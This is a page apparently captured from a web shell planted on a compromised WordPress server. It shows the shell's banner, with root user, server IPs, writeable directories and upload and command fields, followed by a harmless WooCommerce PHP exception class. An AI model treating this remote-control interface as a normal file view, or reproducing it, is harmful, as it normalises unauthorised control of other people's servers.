403Webshell
Server IP : 104.171.130.249  /  Your IP : 216.73.216.146
Web Server : nginx/1.25.5
System : Linux 0dac65491b7e 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/woocommerce/src/Internal/Fulfillments/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/woocommerce/src/Internal/Fulfillments/FulfillmentException.php
<?php declare( strict_types = 1 );

namespace Automattic\WooCommerce\Internal\Fulfillments;

use Automattic\WooCommerce\Internal\Admin\Settings\Exceptions\ApiException;

/**
 * FulfillmentException class.
 * This exception is thrown when there is an issue with fulfillment operations,
 * such as creating, updating, or deleting fulfillments.
 */
class FulfillmentException extends ApiException {
	/**
	 * Setup exception.
	 *
	 * @param string $message          User-friendly translated error message, e.g. 'Fulfillment creation failed'.
	 * @param int    $http_status_code Optional. Proper HTTP status code to respond with.
	 *                                 Defaults to 400 (Bad request).
	 * @param array  $additional_data  Optional. Extra data (key value pairs) to expose in the error response.
	 *                                 Defaults to empty array.
	 */
	public function __construct( string $message, int $http_status_code = 400, array $additional_data = array() ) {
		parent::__construct( 'woocommerce_fulfillment_error', $message, $http_status_code, $additional_data );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit